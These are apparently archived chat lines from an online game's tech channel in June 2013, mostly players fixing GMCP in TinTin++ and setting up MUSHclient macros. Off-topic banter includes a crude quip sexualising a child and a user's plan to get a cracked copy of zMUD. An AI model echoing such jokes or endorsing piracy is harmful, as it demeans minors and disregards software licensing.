T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: iirc I have a debug variable in there somehwere that you can enable to output out-of-state streams to your console.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Brightlight, type #class  do you have one called gmcp loaded?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Yes, I think the problem is that mudside it says the protocol in not on
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: The gmcp_prompt_statmon alias is declared and all
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: I think that is just a symptom
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Right, that means it's something client-side, not mud-side :P The client turns those on (or at least is supposed to)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: statmon stuff is redundant, you can ignore it for the most part
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Typically when I see this kind of issue, is when you login before loading the GMCP class
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Well, how do you manually turn it on? (And I know you are in Hook so I did NOT mean how do you manually turn on)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: like a dropped link?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The GMCP module needs to be loaded and running BEFORE login, if it's loading afterwards, then it's too late to turn the protocols on
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: testing that then, logging off
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: didnt seem to help
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ixle: Is dropbox up to date with production so I can look at the code?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Not dropbox, but googlecode is
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: kk
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ahh
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I did include it. Load the gmcp module, type debug on, then login, see what requests/responses are made.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #z;#ses {aard} {aardmud.org} {4000};#read {gmcp.tin};debug on;username;password
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: Haven't really following the conversation, but you can type 'protocols gmcp restart' to manually re-enable gmcp
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: If that's what he's asking
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That won't work with the tt++ setup, I don't think
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: the problem is its status is OFF
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: i wrote it when GMCP first came in and didn't refine it
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: that's a mud command
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: tt++ has telnet negotiation, right?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: on the helpfiles there is nothing about how to start it
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Brightlight, GMCP has to be turned on by the client.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What client are you using?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: tt++
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And you have all the plugins loaded correctly?  I use tt++ and gmcp all the time.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: tt files or whatever they call plugins...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I am using cheezburgers' package
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: I assume you downloaded it from the link in my desc?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: yes
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Brightlight, when you type #class, does gmcp have a number beside it? ie 'gmcp         20 CLOSED'
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: 31 closed
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ixle: You've moved some stuff around since I last looked at it. After setup.tin is read, where is the actual auto-login done at?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: general.tin
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: wait
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: I think it's still in setup.tin
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: checking public settings atm...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger shakes his head.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just setup variables and session delclaration, no login
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: begining of setup.in
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: right after reading gmcp.tin
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I see it declared (name and pw fields), but I don't see them actually sent through
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Yeah the actual login stuff happens in a SESSION CONNECTED event in gmcp.tt
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ahh, so there's no possible way to not load GMCP prior to logging in, that's what I was checking
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: ÂAhhh I see now, the gmcp.tt does the actual login
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: BL: Copy/Paste line 258 from gmcp.tin for me please
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: This is a bit odd, first time I've seen someone with the script loaded not have GMCP turned on.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Didnt do anything obvious
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: nah, I meant to tech. I want to see if it looks how it should. If that request is malformed it won't turn on GMCP
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Escape the $s please
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: #send {$IAC$SB$GMCP Core.Supports.Set [ "Room 1", "Char 1", "Core 1", "Comm 1", "Debug 1", "Group 1" ] $IACð}
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, that's fine
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Now let's try something really silly. Re-download the package, put your name/password in general.tin, and login, see if it works with a purely fresh copy.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: eh
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: You'll need to also set the dir variable to your settings
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: aye
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's weird though, usually when I can't see GMCP turn on is when the GMCP module fails to load, but if he has the class then it obviously loaded.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: And I've never had any issue with anyone else using them provided the module was loaded.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: So I'd be really interested to know what's going on here :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: logging off to check
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: no change
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: its almost as if the whole gmcp was not doing anything
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: #var GMCP returns nothing?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: #VARIABLE {GMCP}={[1;31,}
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Okay, I might have done a booboo
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Seems like the distribution of tintin I have is not 2.00.7
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Brightlight sighs.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I hate apt-get >:o
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah in the past I've had to compile, since apt-get isn't updated.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: That should fix it then, bbiab
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Still great information to have. I wasn't even considering that as a debugging path.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: okay :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Now it is working :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Good
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Should the quest timer and group info remain with variables until I get one?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Well, thanks for your help, I am sorry the problem was of the "Is my computer
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: computer's cupholder covered by the warranty
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Six-String Strazor Tech: Has anyone ever had the Mapper Portallevel not be recognized in musch?  Specifically setting the lvl, confirming the portal lvl is set and then the mapper continues to attempt using it even though I have not achieved the level indicated  for the Portal Level?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Trachx Tech: maybe you have added it twice
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Trachx Tech: check with mapper portals
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ayasinda Tech: could it be an error with you being T2. That is miscalculates?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Six-String Strazor Tech: It is not added twice.  The mapper automatically adjusts for that.  It is a lvl 87 portal so I can use it at lvl 67.  That is built in to the mapper.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Trachx Tech: but you give 87 lev when asked, not 67 right (mapper does tier calculations itself)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Six-String Strazor Tech: Trachx, you might be on to something. :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Six-String Strazor buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Six-String Strazor Tech: thanks.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Six-String Strazor mumbles something about math and over thinking things.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone descent with IIS
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lorken Tech: have a question about mushclient - i want to set up an alias with the commands home then mapper goto roomnumber(my manor) so i can return by first trying home, then if that doesnt work portaling there through mapper goto, but cant figure out what output to set for the alias to get both of the commands to work - home works fine but the mapper goto # doesn't work from the world output - any suggestions?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ayasinda Tech: I think you need to set up 'home' command as a portal. Then alias the mapper goto. Then when you type the alias mush mapper will try both
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lorken Tech: ooh that is a great suggestion ayasinda thanks :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Vexthorne Tech: Are the inventory tags used for some built in plugin of mushclient or bast's plugins?  If not can I turn them off without messing up anything?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: they might be but would assume if an active script was using them the would be gagged
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Vexthorne nods at The Dragon RandAlthor.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Vexthorne Tech: Sounds like a good assumption to me :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Thinking about virtualizing my Grams computer. Can I create a virtual image of her current hard drive?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Six-String Strazor Tech: Anyone have any experience using Wine with Mush on a Mac.  Occasionally I have to mouse click the screen because something takes presedence.  This happens even while typing. 
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does netflix host pornography?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: kinda doubt it
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: no :(
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: soft porn stuff if you search hard enough.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Jhav Tech: No, they do not.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Elchanan Tech: has documentaries about porn
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Jhav Tech: Though I imagine there are a few borderline things.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Razor knows this because his curious 9 year old who has a kindle fire didn't realize that "recently watched" would also show on her dad's pc.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: some of those french and spanish movies I've seen on the sundance channel seemed pretty lewd.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: yay for B movies
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: c'mon girls aren't curious about that stuff
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it was probably her uncle
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: Imagine that, kojiro doesn't know much about girls.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: Also, girls do not poop.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Digitalis Tech: hahaha...I've always said in my reality...girls don't poop
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: she found the real thing on her moms pc anyway :P Net-nanny works great on her PC so she just stole moms.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what an awkward teachable moment.  I hope you confronted her about it.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wait, whut
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Good lord she's way more resourceful than I was at 9, maybe even at 12.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: she knew enough to know what to search for so her and mom had a "chat"
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: You should encourage curiosity, not clamp down on it.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: Yes it's a great idea to encourage your 9 year old to search for porn.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i like the part where the "Real stuff" was on her "mom's" pc.  Never saw that plot twist coming.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Digitalis Tech: clamp down! don't let the turtle head peek out!
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: heh, my favorite tool was just putting screenshots of their activities onto the desktop
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: why stop there, "I wantedt to see what happened if I pulled the trigger" is a perfectly good excuse.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: anyway
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: Still, the curiousity is not the problem.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: after getting over being horified her mom's take on it was ..
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Elchanan Tech: apple launching Iradion in the 10th i hear
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Razor Tech: "... and even if she isn't scarred for life she's going to be seriously disappointed when she starts dating."
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Elchanan Tech: iRadio*
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Faylen Tech: hehe razor
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: especially the middle school boys
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: It's like regular radio, just that we decide what you listen to?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, 9? Crap... I have a 6 year old sister, and between me and my brothers we are going to make certain she dates nothing but eunuchs until she is at least like... 40.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Jhav Tech: Intersting
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How do they know what to search for at 9?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: their peers probably
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that's how it happened to me, and I was 9 or 10
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ranrr Tech: You are more likely to make her date a 25 year old biker at 12 with that attitude.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: how did you learn how to swear?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: I could be a 25 year old biker...what's her number?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: hey whats the app for android good for playin a mud?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: blowtorch
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: blowtorch ?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: cool thanks
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: aardwolf rpg ;-)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: You can just search for aardwolf in the play store
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: heya ableinc
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: blowtorch has an aardwolf app
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: get out of town
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: (aardwolf rpg is blowtorch with premade settings for here)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: that sounds awesome
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Beauze Tech: how is it for anroid? I am playin on iOS right now
T3/r7/2013-06-06.txt.gz:{chan ch=tech}VampireDude Tech: is there a possible nefarious element to my ssl handshakes failing frequently on a particular net connection?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: on a particular connection or on a particular site?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}VampireDude Tech: particular connection
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: its not impossible a proxy is breaking down your ssl but seems odd/unlikely
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Anyone a perl whizz here? Migrating from other languages, and I'm trying to get the results of a splice without affecting the original array - is this an easy thing, or do I need to use a temp variable?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Ranrr Tech: I think you need to make a copy of the array.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: can somebody please help me setting up macros on the MUSHclient?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tripphippie Tech: What do you need it to od Marcupia
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tripphippie Tech: do*
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: One thing to note, is that MUSH has a very limited number of keys you can set up as macros using the GUI, to use non-standard keys you need to do it at a script level using Accelerators
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i cant find where to set them up, i wanted to use my 'F' keys to bind spells etc
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, like I said, you're gonna need to use accelerators.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://www.gammon.com.au/scripts/function.php?name=Accelerator
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tripphippie Tech: Its much easier to just use alias'
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i see, seems a little confusing for just wanting a spell to be bind to a 'F' key lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not really... In fact it's the same. You can make an alias and call it from an accelerator easily
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Some people use F1-12 keys. I myself find letter+enter to be much simpler
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For use, not to create, I mean
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tripphippie Tech: exactly I'm with Vakieh
T3/r7/2013-06-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: I use a blackwidow keyboard with a macro profile for aard
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Simply because spells on p,[,] are closer to my hand than F1 or w/e
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: its just how i used to play on zmud 16 years ago thats all
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And if you macro to F, how would you type properly on curse?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: //function spellup() Send("spellup spellup learned") end Accelerator('f1', spellup())
T3/r7/2013-06-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: F = function keys, not the letter F
T3/r7/2013-06-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: (F1-F12)
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: thats confused the hell out of me cheezburger :S
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I define a function to send spellup, then I assign that function to the f1 accelerator
T3/r7/2013-06-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: creates a function spellup() which sends "spellup spellup learned" and then assigns that function to the F1 key using accelerator
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, it would be Accelerator('f1', '//spellup()')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Assuming your script prefix is still hte aardmush default of //
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: no idea what your talking about, im not clued up when it comes to that, i just want a button that says macro, with f1-12 listed and i can type a spell in a box thats binded to the key and save lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just copy and paste it into your command line bro
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Copy/Paste this exactly: //function spellup() Send('spellup spellup learned') end Accelerator('f1', "//spellup()")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: then pressing f1 should send 'spellup spellup learned' which casts all spells your have practiced.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( But apparently don't use f1, can't override the help function... )
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but if you use f2 instead of f1 it works perfectly
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I think it can, you just have to deselect an option in one of the gui windows
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus nods at Captain HR Vakieh.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i will do when i find where to paste it, cant find the macro button anywhere
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Maybe I should re-create my old #macro I created for mush...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Right into your command line dude
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also, when did the CTRL+SHIFT+2 window exist? Never looked at that before o.0
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: what command line?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: the // at the beginning makes it execute as a script
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: where you type to talk to us
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Ranrr Tech: Why the word spellup twice?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: the one you just typed "tech what command line?" into
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: habit, i guess
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: amounts to the same thing
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: yeah i tried to paste it exactly as you put it, it trys to recall me as ' / ' is the shortcut for recall
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: try /// instead of // then
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Leinei Tech: Cheez: default in Aardmush is \\\
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Is it? Ok, so \\\ instead of //
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Six-String Strazor nods at Leinei.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I must have changed mine
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: kk
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: \\\function spellup() Send('spellup spellup learned') end Accelerator('f2', \\\spellup()")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Leinei Tech: Missing a " near the end (or have an extra one), it looks like
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or, I guess you could just do: Accelerator('f2', 'spellup learned')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: oh, i didn't put an opening " before \\\spellup()\
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: Sorry Marcupia, I don't understand you.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you still need the \\\...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}SweetHeart Madcatz Tech: He's not using aardmush.  He's just using vanilla mush.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh... well there's your problem right there :-P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I dunno what vanilla mush's script prefix is anymore..
T3/r7/2013-06-06.txt.gz:{chan ch=tech}SweetHeart Madcatz Tech: Not sure what the default is, or even if it has one
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: iirc it is /
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or at least it is in the tutorial videos iirc
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There used to be. Marc: Hit alt+enter, click on "scripts" and see what the "script prefix" is.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i'll just have to make do with typing everything for now till i get a crack for zmud again
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Try downloading the official aardmush client instead
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tynrael Tech: try the AardMush
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just answer this one question and we'll have it working for you...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: for now i have a complicated telnet lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Beats vanilla mush and zmud before it even wakes up for coffee
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Leinei Tech: F2 can be used as a macro, can't it?  Shouldn't even need to make an accelerator, I don't think.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah it can be.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: only shjift+f2
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Leinei Tech: f2 is showing in my list
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: really? I swear I use f2 and I've never touched an acellerator.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hmm, not in mine. I can only do ctrl or shift + f12
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: f2*
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: the aardwold client is being downloaded
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm running a pretty old version though
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i'll try that
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In the meantime, can you answer my question real quick?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Was just going to ask what version...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: go ahead
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just need to know what your actual script prefix is, i told you how to find it above
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: alt+enter, click "scripts", and then see what's in the "script prefix" field.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: its empty
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, set it to \\\ :P and then type \\\Accelerator('f2', 'spellup learned')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: now im getting this '[string "Command line"]:1: '<name>' expected near '\'  '
